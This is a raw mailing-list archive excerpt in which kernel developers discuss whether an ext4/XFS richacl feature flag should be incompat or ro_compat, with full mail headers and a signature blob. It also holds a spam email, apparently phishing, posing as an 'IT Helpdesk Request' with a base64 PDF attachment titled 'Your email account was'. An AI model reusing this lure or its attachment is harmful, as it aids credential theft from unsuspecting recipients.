/* Some quota option set */ > @@ -1582,6 +1582,7 @@ static inline int ext4_encrypted_inode(struct ino= de *inode) > #define EXT4_FEATURE_INCOMPAT_LARGEDIR 0x4000 /* >2GB or 3-lvl htree= */ > #define EXT4_FEATURE_INCOMPAT_INLINE_DATA 0x8000 /* data in inode */ > #define EXT4_FEATURE_INCOMPAT_ENCRYPT 0x10000 > +#define EXT4_FEATURE_INCOMPAT_RICHACL 0x20000 I would like to re-iterate, on both XFS and ext4, I _really_ think this=20 should be a ro_compat flag, and not an incompat one. If a person has=20 the ability to mount the FS (even if it's a read-only mount), then they=20 by definition have read access to the file or partition that the=20 filesystem is contained in, which means that any ACL's stored on the=20 filesystem are functionally irrelevant, and making this an incompat=20 feature will just complicate things further for people who have a=20 legitimate need to recover data. --------------ms080105070900080704090103 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature 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 cnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcN AQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DANBglghkgBZQMEAgMFAKCCAiEwGAYJKoZI hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTUxMDE2MTczMTI2WjBPBgkq hkiG9w0BCQQxQgRAPhvf1wDQT+zY79/J/S+GlQuTEjNgTXDad8G8O18RNeFdjxHt3mpiCQ82 rufwknYUE44F4fxbLMbe6U6gPJLvtjBsBgkqhkiG9w0BCQ8xXzBdMAsGCWCGSAFlAwQBKjAL BglghkgBZQMEAQIwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCAMA0GCCqGSIb3DQMCAgFA MAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIGRBgkrBgEEAYI3EAQxgYMwgYAweTEQMA4GA1UE ChMHUm9vdCBDQTEeMBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlD QSBDZXJ0IFNpZ25pbmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2Vy dC5vcmcCAxEt+DCBkwYLKoZIhvcNAQkQAgsxgYOggYAweTEQMA4GA1UEChMHUm9vdCBDQTEe MBwGA1UECxMVaHR0cDovL3d3dy5jYWNlcnQub3JnMSIwIAYDVQQDExlDQSBDZXJ0IFNpZ25p bmcgQXV0aG9yaXR5MSEwHwYJKoZIhvcNAQkBFhJzdXBwb3J0QGNhY2VydC5vcmcCAxEt+DAN BgkqhkiG9w0BAQEFAASCAgBhVrX0WVc4FHJb+ZrN+BO5uwBBBz933mTcl0qCV6MZD4ryS6ir 8lHOyIBz9GvZlZ4xA7IA0K3/2b2fMtEuX4DZ7xPfzvMFrSrJOZbs9Nu70eZaUqxC0sJMFDGh nikYW+mHbq7/g16LcDv7FuM8oRHWkLwOL45pTZKwr+LunnbbwlZsugnaxRp4WAjFyWSBiqZJ Om7BzqUq6nBRZmOno+Np4U68YbquM3kYVJROjn97QRjftmG13IGqSgiayrUEqcgg1KNq3yQL QaOHE1S9XqfwnjIkI8vDwVv1izeJF6gv0LdrfkodV6q72CyVxeZT6bg+2eKadM/ftVl60Q9k jTAdo3ZGoi2IkbbJxKYYweCxrCzXB5swtQvHa5bwp32udj+Ddc09dHhkdsrgT6pDdPebzpBw CroIT9QEMIO5lyd1JJHYYhUm4j4rtRI9crViS4tyKgP59YLCUvr/tfnq1DIzNtB7VvNvo0Ni sIROwtVD/Qua4JLpx3mKN3UMPVoP05Hf8ahazbI907qLz6tiK//eREBeA0q989QtntRrfgVg xPs5PMSbkLWdUZNhVg81eGApuyQvEDd59Urs01EdVGC6I71kWJoa2X98dsHdj8P/5Ii9Yq5b T8IUVQ8c5AOoob5gq3VNrq2oVvl0n1DEH9MjprNwnDxDLTQ5Y6xdE4yxZgAAAAAAAA== --------------ms080105070900080704090103-- From agruenba@redhat.com Fri Oct 16 12:41:37 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 36AD57FC7 for ; Fri, 16 Oct 2015 12:41:37 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A9F92AC002 for ; Fri, 16 Oct 2015 10:41:33 -0700 (PDT) X-ASG-Debug-ID: 1445017290-04cb6c3cee45950001-NocioJ Received: from mail-lf0-f48.google.com (mail-lf0-f48.google.com [209.85.215.48]) by cuda.sgi.com with ESMTP id 3EyjRAs3I4GeE03B (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 16 Oct 2015 10:41:31 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.215.48 Received: by lffv3 with SMTP id v3so83410102lff.0 for ; Fri, 16 Oct 2015 10:41:30 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=ccVsioU9PmdgqE9CNpo3Usr4t1pgDzr9otVYVZo3f9U=; b=BZDBt++TrIz/xXkkHQkdrtK2jmPwJS/GzTLpJD/S0abCIHDP4qeyaM9dWQZ4uE0HW0 u9cckxb5b9clHEnX57nL1b247/40qyZ1jYVzF1ZPaVnP4+qIZlpq2pFyvj8zAp3YB+N+ 2qHcCTZi62EjGOrQPH601wXuHbh6ZU/4jynAeI/LBnabtezVwsAj/2MCg2d1XsPHEDAa 6KfpPOpPFPNK7FUE/x6VRH+u5HVblxSyI6A5SOjyLrlv55qi5S730L9Rj5W3vYpwzcoS yn4hN5DXM0EKimJWZUpnSctJL1bhSYWaEYUF76+z5bsLLbqn2lh0egbB5k9zGzlOMjiU WogQ== X-Gm-Message-State: ALoCoQme4LxAVNCC9uOccfZY/1wAbHqS7h1s5j+SypLECaS4bvV8rNsX+Z338aPfmbeuU7DFSPrE MIME-Version: 1.0 X-Received: by 10.25.40.130 with SMTP id o124mr5714067lfo.41.1445017290352; Fri, 16 Oct 2015 10:41:30 -0700 (PDT) Received: by 10.112.255.33 with HTTP; Fri, 16 Oct 2015 10:41:30 -0700 (PDT) In-Reply-To: <5621346E.5000500@gmail.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-22-git-send-email-agruenba@redhat.com> <5621346E.5000500@gmail.com> Date: Fri, 16 Oct 2015 19:41:30 +0200 Message-ID: Subject: Re: [PATCH v11 21/48] ext4: Add richacl feature flag From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH v11 21/48] ext4: Add richacl feature flag To: Austin S Hemmelgarn Cc: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4 , xfs@oss.sgi.com, LKML , linux-fsdevel , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API , "Aneesh Kumar K.V" Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lf0-f48.google.com[209.85.215.48] X-Barracuda-Start-Time: 1445017291 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA298e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23551 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 BSF_SC7_SA298e Custom Rule SA298e On Fri, Oct 16, 2015 at 7:31 PM, Austin S Hemmelgarn wrote: > I would like to re-iterate, on both XFS and ext4, I _really_ think this > should be a ro_compat flag, and not an incompat one. If a person has the > ability to mount the FS (even if it's a read-only mount), then they by > definition have read access to the file or partition that the filesystem is > contained in, which means that any ACL's stored on the filesystem are > functionally irrelevant, It is unfortunately not safe to make such a file system accessible to other users, so the feature is not strictly read-only compatible. Andreas From prvs=724685c5d=Stacy.Cunningham@bausch.com Fri Oct 16 12:58:08 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4A71C7FC2 for ; Fri, 16 Oct 2015 12:58:08 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 27F4B304053 for ; Fri, 16 Oct 2015 10:58:07 -0700 (PDT) X-ASG-Debug-ID: 1445018284-04cb6c3cec45df0001-NocioJ Received: from esa3.valeant.iphmx.com (esa3.valeant.iphmx.com [68.232.129.170]) by cuda.sgi.com with ESMTP id cfu5NmxyTpqSVZ1B (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 16 Oct 2015 10:58:05 -0700 (PDT) X-Barracuda-Envelope-From: prvs=724685c5d=Stacy.Cunningham@bausch.com X-Barracuda-Apparent-Source-IP: 68.232.129.170 X-IronPort-AV: E=Sophos;i="5.17,689,1437462000"; d="pdf'?scan'208,217";a="26126540" Received: from unknown (HELO Mail.Valeant.Com) ([12.180.115.121]) by esa3.valeant.iphmx.com with ESMTP/TLS/AES128-SHA; 16 Oct 2015 10:56:19 -0700 Received: from BLHTROCCLR02.blamericas.bausch.com (161.242.65.18) by mail.valeant.com (10.228.15.44) with Microsoft SMTP Server (TLS) id 14.3.235.1; Fri, 16 Oct 2015 13:49:50 -0400 Received: from BLAMXCMS2.blamericas.bausch.com ([161.242.65.11]) by BLHTROCCLR02.blamericas.bausch.com ([161.242.65.18]) with mapi; Fri, 16 Oct 2015 13:48:04 -0400 From: "Cunningham, Stacy" Date: Fri, 16 Oct 2015 13:48:03 -0400 Subject: =?windows-1256?Q?FW:_IT_Helpdesk_Request=FE?= Thread-Topic: =?windows-1256?Q?IT_Helpdesk_Request=FE?= X-ASG-Orig-Subj: =?windows-1256?Q?FW:_IT_Helpdesk_Request=FE?= Thread-Index: AQHRCDQn18ao13xbNkm00662YNtKAJ5uYxmO Message-ID: <4DF4D5DE640BF948A68568725D6C50B65CF249DC32@BLAMXCMS2.blamericas.bausch.com> References: <4DF4D5DE640BF948A68568725D6C50B65CF249DBDD@BLAMXCMS2.blamericas.bausch.com> In-Reply-To: <4DF4D5DE640BF948A68568725D6C50B65CF249DBDD@BLAMXCMS2.blamericas.bausch.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: yes X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/mixed; boundary="_004_4DF4D5DE640BF948A68568725D6C50B65CF249DC32BLAMXCMS2blam_" MIME-Version: 1.0 To: Undisclosed recipients:; X-TM-AS-Product-Ver: SMEX-11.0.0.4179-8.000.1202-21884.001 X-TM-AS-Result: No--14.338500-8.000000-31 X-TM-AS-User-Approved-Sender: No X-TM-AS-User-Blocked-Sender: No X-Barracuda-Connect: esa3.valeant.iphmx.com[68.232.129.170] X-Barracuda-Start-Time: 1445018284 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23552 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 HTML_MESSAGE BODY: HTML included in message --_004_4DF4D5DE640BF948A68568725D6C50B65CF249DC32BLAMXCMS2blam_ Content-Type: multipart/alternative; boundary="_000_4DF4D5DE640BF948A68568725D6C50B65CF249DC32BLAMXCMS2blam_" --_000_4DF4D5DE640BF948A68568725D6C50B65CF249DC32BLAMXCMS2blam_ Content-Type: text/plain; charset="windows-1256" Content-Transfer-Encoding: quoted-printable ________________________________ From: Cunningham, Stacy Sent: Friday, October 16, 2015 12:59 PM Subject: IT Helpdesk Request=FE Read the message attached. --_000_4DF4D5DE640BF948A68568725D6C50B65CF249DC32BLAMXCMS2blam_ Content-Type: text/html; charset="windows-1256" Content-Transfer-Encoding: quoted-printable
 
=  

From: Cunningham,= Stacy
Sent: Friday, October 16, 2015 12:59 PM
Subject: IT Helpdesk Request=FE

Read th= e message attached.
--_000_4DF4D5DE640BF948A68568725D6C50B65CF249DC32BLAMXCMS2blam_-- --_004_4DF4D5DE640BF948A68568725D6C50B65CF249DC32BLAMXCMS2blam_ Content-Type: application/pdf; name="Your email account was .pdf" Content-Description: Your email account was .pdf Content-Disposition: attachment; filename="Your email account was .pdf"; size=115921; creation-date="Fri, 16 Oct 2015 16:59:57 GMT"; modification-date="Fri, 16 Oct 2015 16:59:57 GMT" Content-Transfer-Encoding: base64 JVBERi0xLjcNCiXi48/TDQoxIDAgb2JqDQo8PC9UeXBlL1BhZ2UvUmVzb3VyY2VzPDwvRm9udDw8 L0YxIDIgMCBSPj4vRXh0R1N0YXRlPDwvR1M3IDYgMCBSL0dTOCA3IDAgUj4+L1Byb2NTZXRbL1BE Ri9UZXh0L0ltYWdlQi9JbWFnZUMvSW1hZ2VJXT4+L01lZGlhQm94WzAgMCA2MTIgNzkyXS9Db250 ZW50cyA4IDAgUi9Hcm91cDw8L1R5cGUvR3JvdXAvUy9UcmFuc3BhcmVuY3kvQ1MvRGV2aWNlUkdC Pj4vVGFicy9TL0Fubm90c1s5IDAgUl0vQXJ0Qm94WzAgMCA2MTIgNzkyXS9Dcm9wQm94WzAgMCA2 MTIgNzkyXS9QYXJlbnQgMTIgMCBSPj4NCmVuZG9iag0KMiAwIG9iag0KPDwvVHlwZS9Gb250L1N1 YnR5cGUvVHJ1ZVR5cGUvTmFtZS9GMS9CYXNlRm9udC9BQkNERUUrQ2FsaWJyaS9FbmNvZGluZy9X aW5BbnNpRW5jb2RpbmcvRm9udERlc2NyaXB0b3IgMyAwIFIvRmlyc3RDaGFyIDMyL0xhc3RDaGFy IDEyMi9XaWR0aHMgNSAwIFI+Pg0KZW5kb2JqDQozIDAgb2JqDQo8PC9UeXBlL0ZvbnREZXNjcmlw dG9yL0ZvbnROYW1lL0FCQ0RFRStDYWxpYnJpL0ZsYWdzIDMyL0l0YWxpY0FuZ2xlIDAvQXNjZW50 IDc1MC9EZXNjZW50IC0yNTAvQ2FwSGVpZ2h0IDc1MC9BdmdXaWR0aCA1MjEvTWF4V2lkdGggMTc0 My9Gb250V2VpZ2h0IDQwMC9YSGVpZ2h0IDI1MC9TdGVtViA1Mi9Gb250QkJveFstNTAzIC0yNTAg MTI0MCA3NTBdL0ZvbnRGaWxlMiA0IDAgUj4+DQplbmRvYmoNCjQgMCBvYmoNCjw8L0ZpbHRlci9G bGF0ZURlY29kZS9MZW5ndGgxIDIyOTE0OC9MZW5ndGggMTEwNzc1Pj5zdHJlYW0NCnic7HsJeJNV Fva535c0aZO0SZuuaZu0oS3QQoGyFEQa6MJSttIG27K1tGwKgkCRXdxQq7iM+76voKZBpe6ozIyO jjqOjs44Ko6OOiM4OKPODNj2f+93cktZVHz+538c/6c3ffO+99x7z3fvuUtuoCVBRIl4M9H0suqJ 46+L/vuFpDcHiNL+XD6urGb16hdrSCweTZQwq3zc5NJT1z+1gkTjbKKovePLyis+feErQXrDdCL9 i/HTp1VX9h+lkdhwHYmbWsdXB8ddOmrS86Sn9CGaUDCtunDIf98L/5lIvIOnNjQta1xRO+GNPxIN SScyT21as9oXunHPG0TN1yGfvnDFomXffDPFTjRiKVF02qLGVSsonfx4/mS0dy5aum7h2IHTJhAt eYToWW3xgsbmA7OLNsA/+kfDF8PgeNCO9uIq5PssXrZ6bVXh5A4irZio8OPTFqw8fdLsmq9IjLcS 2T9euryp8ayUts9J9G0nypy+rHHtiqwRObPQHnnynd64bEHmg2ecS6J6H5FjzIrlq1Z3eWgr+lMg y1esXLDitIe1TqLAhXick2Rsze+3b70ia+W8uNFfUyoeg/Tk5xtfkfxa7bbiQwc7Lo7eZx2ObDRp xAntoqiTxJ6Y2w4dPHhb9D7DU49kfVla4vLodjLTWtLR0kmFtIDIdTmeixkg3ZQvLkep1Xy9uQgu M5n112mrRlbS4syappl0zbSXtK4A7eji5xJNqfb5CPN/yMR9sNyi5fpI3CrL9F3mWDlSeI893Bvx GpbP7ZiXH5lM9bTDVEaNxy3bRzt65vXPjsx/V9IfpB1mO806xt+3h9trphPz9WNS1Nvf7dM8mZp+ jC9T9mFfptqj4vAgjT9eG/0Tijvimdn0wI95piWTTv4Ov5k/1Fb/CqvvRyaTiW7XX6Zlxy1bgHXd 0/+WI/Pf2Y/pdLvpHFp6jL+1h9uLfd/vC+UupbUxEb8vcRtt7/HbRkXhuVccv8z0AC08kb6rpP/y sB99/1FxmEYTj9umDqdiz2duo1tP+HkdlBU1hkYct+zcY+dVX0JlR+Tfotkn+qzu/g2l6/X5VH+8 Mstyqo96DxBcjroNRzzvEM05kWdoZ1BO1A2UY32LckzboW+M6NGUcyLto9acWD3lT9aPisYzSo99 hiwz7T9ss/SlHH0PDTvG11FjjdiuV1r8gc7/of6gjlHflEkXir93vSUh8/qdR/i5/nhto5rp+p7P O6Yvxcefs++s38OX9psj/epZVHW8NuaHjrRrD1HWET4/oSxTy5G24z4bdcwJlGWpxPr+4w/Xl3XQ 36t+qJ5K+s2UbW4/dg6Nslsp+xhbP6r7Ll/aDirT/kpLtakGT9Daabx4jvpo11J/7W+0VDRRo1jW 9Q7yS8VcWmqaibqfGCiX7aQP8Q3yg2ic+Ij8so12Pnn1f1CB4X8rebURNO5Ex/ZzTVjXJF79qXvR m3pTb+pNnLQbRcx3ljXQ/p550UX9u8vMdO3/y379Lyd9GF38U/dBJdNVNE97mfz6Pppv5IOUrb9N VabhtLm7znCaje/DE4CHgJWGLZZ8wALgtO56sTTDVEqLtG2Uqp/N92Z9B+Xqi6lR30Wnq3r6UzQD d4jpwDZggWG7lUYBi4Du78uyzjH963vC/Rt0vP7hXjZB/Ad3iBBVSpv2LuVo9+Ce8cHh79TQR3wH 6O7P/0Vb7WYqFl/TYG0GjTbyk8itVdAQrYoGddeZAt8nWO94z+hNvak3/byS9jWla5/SpXoU1euV dKl2H3AJ8mXIz6JLxT10ac/6pmWc11uoXnuHtXYjnaJtoQrtFDLpbjrFqFfO39G0i4/8t5Pe1Jt6 U2/qTb2pN/Wm3tSbelNv6k3//yb5HdPgTyPfHSPfMw39A98zjTot/P+i8vum8V0z8j1TfcfsTb2p N/Wm3tSbelNv6k29qTf1pp9B0iNI578NEE8gB6WHyCRugWESBchM8jdcHPiuU0ADaQgNp5E0kabQ dArSKVRHK+hMWk+3UZgeF4O1ERkFGQMzBmcMyxiZMTpjnG+Fb41vne8c31bfRYdMXV3GUx3kM3wN oqHwNRa+ptEMw1cjraR1R/kalFFk+BoDX6vh6yzfefBF8CW6vpa/ean315+SL6Kufxv+M9Tvg3Y1 6RX6GBrWVfT5BT1fH22VL6KPzv9I/sYt//VFRY+4BICpGKFMMzDC9T8Qx7nGe4OMpj5Jv5ZM5KJ4 SkFccykPYy2kSoyvHvWaabHQRJxwijSRKfqK6aJezBFLxFKxXLSINWKTuEhcIi4XN4hHxW7xnPi1 eEXsNZlNUSaLyBcDxXhRLCopSnxjPPGbo/9yBHkt8ncmGn1/4pbc32OSHgRqgX36fv0L8AH9S/2f RsnXR1U9dqyc5O+BVBr/GxsZN9Rq4KhY/lA0UKNHPJBDRH5gZD910k+smpzNE3cqFvbuyf/pPUmB 8c3z5s6ZPau+rjZYUz2javq0qVMmV06aOGF8RXlZ6bixgZIxJ48+adTI4hHDhxUOHFDQNzenjz/b m+J2OeMctphoqyXKbNI1QQXl/ooGXyi3IWTK9U+YMEDm/Y0wNPYwNIR8MFUcWSfkazCq+Y6sGUDN hUfVDHDNQHdN4fSNptEDCnzlfl/ot2V+X7uor6qF3lbmr/OF9ht6iqFNuUbGgUxWFlr4ylMWl/lC osFXHqpYs7i1vKEM/tpsMaX+0gUxAwqoLcYGaYMK9fWvaBN9xwhDaH3LR7VpZHXIx4b0nPLG5tD0 qtryMk9WVp1ho1LDVyiqNGQxfPmWyD7Txb62gt2tl7Q7aX5Dvr3Z39w4uzakN6JRq17e2npByJUf 6ucvC/Vb/3EKhrwgVOAvKw/l++Gsckb3A0TInOP0+1q/JnTev3/fkZbGiCUqx/k1SSmH2B0mlCtN 6Bt6iPFlZcm+XNweoPnIhLZU1XLeR/M9YQoU5teFtAZZsluVJAZlyRZV0t28wZ8lp6q8IfKzZnFK aMt834ACRN/4ycEPyn0hPbdhftNiyY0LWv1lZRy3mtpQoAwi0BgZa3nboELUb2zAIJbIMFTVhgr9 K0Ju/ziuAINPzsGS6lqjSaRZyF0aooamSKtQYXmZ7JevvLWhjDsoffmrah+noq69bUN9np1FOEPq ZD9CSaWYlNzy1trmhSFvg6cZ63Ohr9aTFQrUIXx1/toFdXKW/M5Qv714XJbxRKMVxnZUbVVZjtyS Y/XVah69Ts4WDL4KvPnHjUaBE9NlZOWMjhvtqxUeUtXwlEgNqY7wg4yeUzpBFumyaekET1ZdFqfv 6ZIn0idzTsjaw5cThu4+8XO+s2tcW3aon698QVmPDh7h1BzpYMTb8fupyVhEHowWVjmdE1SRnoOd C5sGN4ZJzmKKL0TTfbX+Bf46P9ZQYHqtHJuMtTG/ldX+yqr6WmO2I6uk5ogclxdzLkRZKFYZrRRr sCLfo6bVyI838t3ZCUcVT1TFvlarv7K6VTr3RxySDzsIg47Kndh4cXH8UGzNCpxu/opGv8/pq2ht bO/aMr+1LRBoXVHesHiU9OGf2Nzqr64d7TH6OqN2k2e9fFQ8VYrKmnEDCnD2jGvziwur2gLiwur6 2sedRL4La2rDmtBKG8bVtfVBWe3jPvknv9KqSas0yoxPZqSnGchYjfqex/EptcUoNRkGI9/ULsiw WZVNUFO7xjansmmwmdgWMGwyYZJSFiPEOG7Lfc1yejbWLW5tqJObi5IwlfgRIeEfQyHNP6ZNaFH2 UIx/wbiQzT9O2kukvYTtUdJuwcIQSQLBkWdSa4Mf5xQWVC15BC9FXbr0tXd11dRm/dazvy4LS202 UF8bis7H2W/OmYR64yUaYB4f2tLUKPtBwVrZ1pIzsakOy1Y5RJWJoWh4iI54QI0Ko41cjmjUhLnB BBrttyAT2lIXqsuXD61dUmcsZ2eIJvhHYdrZpzlXPqiwrjXeP8TYm9gKMTkXSIpG36i6li0eZPGw Og6SxY6eN/lR1NTgQ7RN1FSNpc5naYyHLQtwJJpyFxiI8UQKSQ5Lz7E5YkLRA+EQP1LbBsotac6x 1NVx543cBZEKeLYzZEOPcnuEMtIA0UHRRNkX/FyArsqqz0k3Ve00w78WJ4vstOHJguKQI2diIw5/ bm+DxV+sGlvlGWGL+NjDVoscuR1x13Nq2rvu9a/L6pEGFPjlh4NcmOR5XF6r6lqPNoRm5Q8osB5t dRjm1lar4/gNOF5WRzdLo68cnxpE4Wjd166d90h0ipgEca4S5yhxthJblDhLic1KbFJioxIblFiv xDol1ipxphJrlGhRYrUSq5Q4Q4kVSixX4nQllimxVInTlDhViSVKLFZikRILlVigRLMSTUrMV6JR iQYl5ikxV4k5SsxWYpYS9UrUKVGrxClKzFQiqESNEtVKzFCiSonpSkxTYqoSU5SYrESlEpOUmKjE BCXGK1GhRLkSZUqUKjFOibFKBJQoUWKMEicrMVqJk5QYpcRIJYqVGKHEcCWGKTFUiSIlhigxWIlB ShQqMVCJAUoUKJGvRH8l+inRV4k8JXKVyFGijxJ+JbKVyFLCp4RXiUwlMpRIV8KjRJoSqUqkKJGs RJISiUq4lUhQIl4JlxJOJeKUiFXCoYRdCZsSMUpEK2FVwqJElBJmJUxK6EpoSgglKCJElxKdSnQo 